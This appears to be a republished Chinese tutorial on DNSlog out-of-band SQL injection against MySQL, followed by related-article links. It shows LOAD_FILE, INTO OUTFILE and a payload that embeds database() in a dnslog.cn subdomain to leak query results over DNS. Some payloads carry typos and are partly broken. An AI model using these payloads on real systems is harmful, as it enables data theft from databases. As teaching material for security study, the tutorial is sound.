DNSlog注入原理

2024-01-04 15:08
文章标签 注入 原理 dnslog

本文主要是介绍DNSlog注入原理,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

DNSlog注入原理及实验

遵守我国网络安全法,仅用于渗透测试交流学习。

DNS解析过程

在这里插入图片描述
首先用户在浏览器输入域名(例如blog.wuya.com),浏览器知道是域名,然后通过DNS解析为IP地址,最后浏览器通过IP地址访问服务器。IP地址与域名是应是一对多映射的关系。

DNSlog的产生

DNS在解析的过程中产生日志文件,这些日志文件记录了访问时间、域名、IP地址等信息内容。

实验

1、公共DNS免费平台:www.DNSlog.con,点击GetSubDomain,会随机生成一个域名。
在这里插入图片描述
此时打开CMD,用ping命令,ping通这个域名。因为我的目的是想把内容拼接到域名中,所以在域名之前随便加一个字符串。这里加的是aaa(不懂没关系下面会用实例解释),但是有时会ping不通,此时可以多次尝试,或者重新分配DNS域名。
在这里插入图片描述
点击RefreshRecord可以看到,域名、IP地址、以及访问的时间等信息。
在这里插入图片描述
MYSQL读写文件函数
在这里插入图片描述
读写配置文件可以更改权限的参数;
在这里插入图片描述

读取文件;
select LOAD-FILE('E:\\in.txt');
1,只能访问本机文件
2,文件需要有读权限
3,字节数少于max_allowed_packet
写入文件;
select  123 INTO OUTFILE 'D:\\out.txt';
DNS注入流程*

一,把select LOAD-FILE注入到数据库访问文件

二,UNC构建DNS服务器地址,假装访问文件,产生DNSlog
(UNC通用命名规则,一种访问网络资源的格式)
select LOAD_FIFE(’aaa.w1rvj2.dnslog.cn’)
这里//转义的作用

三、把子域名替换函数或者查询SQL
select if((select load_file(concat(’database().w1rvj2.dnslog.cn’)) )1,0)
到目前为止我们把之前的aaa替换为database(),这就是为什么要使用ping命令时加aaa域名。

后续

熟悉SQL注入的同学,当看到database()时,是否想到利用SQL语句进行逐级爆破,直到获取到我们想得到的数据。其实DNS注入的原理与SQL注入的原理如出一辙。

希望受益的朋友给一个关注,大家共同学习,共同进步

这篇关于DNSlog注入原理的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/569715

相关文章

深入浅出Spring中的@Autowired自动注入的工作原理及实践应用

《深入浅出Spring中的@Autowired自动注入的工作原理及实践应用》在Spring框架的学习旅程中,@Autowired无疑是一个高频出现却又让初学者头疼的注解,它看似简单,却蕴含着Sprin... 目录深入浅出Spring中的@Autowired:自动注入的奥秘什么是依赖注入?@Autowired

Spring 依赖注入与循环依赖总结

《Spring依赖注入与循环依赖总结》这篇文章给大家介绍Spring依赖注入与循环依赖总结篇,本文通过实例代码给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友参考下吧... 目录1. Spring 三级缓存解决循环依赖1. 创建UserService原始对象2. 将原始对象包装成工

从原理到实战解析Java Stream 的并行流性能优化

《从原理到实战解析JavaStream的并行流性能优化》本文给大家介绍JavaStream的并行流性能优化:从原理到实战的全攻略,本文通过实例代码给大家介绍的非常详细,对大家的学习或工作具有一定的... 目录一、并行流的核心原理与适用场景二、性能优化的核心策略1. 合理设置并行度:打破默认阈值2. 避免装箱

Spring-DI依赖注入全过程

《Spring-DI依赖注入全过程》SpringDI是核心特性,通过容器管理依赖注入,降低耦合度,实现方式包括组件扫描、构造器/设值/字段注入、自动装配及作用域配置,支持灵活的依赖管理与生命周期控制,... 目录1. 什么是Spring DI?2.Spring如何做的DI3.总结1. 什么是Spring D

Python中的filter() 函数的工作原理及应用技巧

《Python中的filter()函数的工作原理及应用技巧》Python的filter()函数用于筛选序列元素,返回迭代器,适合函数式编程,相比列表推导式,内存更优,尤其适用于大数据集,结合lamb... 目录前言一、基本概念基本语法二、使用方式1. 使用 lambda 函数2. 使用普通函数3. 使用 N

MyBatis-Plus 与 Spring Boot 集成原理实战示例

《MyBatis-Plus与SpringBoot集成原理实战示例》MyBatis-Plus通过自动配置与核心组件集成SpringBoot实现零配置,提供分页、逻辑删除等插件化功能,增强MyBa... 目录 一、MyBATis-Plus 简介 二、集成方式(Spring Boot)1. 引入依赖 三、核心机制

redis和redission分布式锁原理及区别说明

《redis和redission分布式锁原理及区别说明》文章对比了synchronized、乐观锁、Redis分布式锁及Redission锁的原理与区别,指出在集群环境下synchronized失效,... 目录Redis和redission分布式锁原理及区别1、有的同伴想到了synchronized关键字

Linux中的HTTPS协议原理分析

《Linux中的HTTPS协议原理分析》文章解释了HTTPS的必要性:HTTP明文传输易被篡改和劫持,HTTPS通过非对称加密协商对称密钥、CA证书认证和混合加密机制,有效防范中间人攻击,保障通信安全... 目录一、什么是加密和解密?二、为什么需要加密?三、常见的加密方式3.1 对称加密3.2非对称加密四、

setsid 命令工作原理和使用案例介绍

《setsid命令工作原理和使用案例介绍》setsid命令在Linux中创建独立会话,使进程脱离终端运行,适用于守护进程和后台任务,通过重定向输出和确保权限,可有效管理长时间运行的进程,本文给大家介... 目录setsid 命令介绍和使用案例基本介绍基本语法主要特点命令参数使用案例1. 在后台运行命令2.

Spring Security 单点登录与自动登录机制的实现原理

《SpringSecurity单点登录与自动登录机制的实现原理》本文探讨SpringSecurity实现单点登录(SSO)与自动登录机制,涵盖JWT跨系统认证、RememberMe持久化Token... 目录一、核心概念解析1.1 单点登录(SSO)1.2 自动登录(Remember Me)二、代码分析三、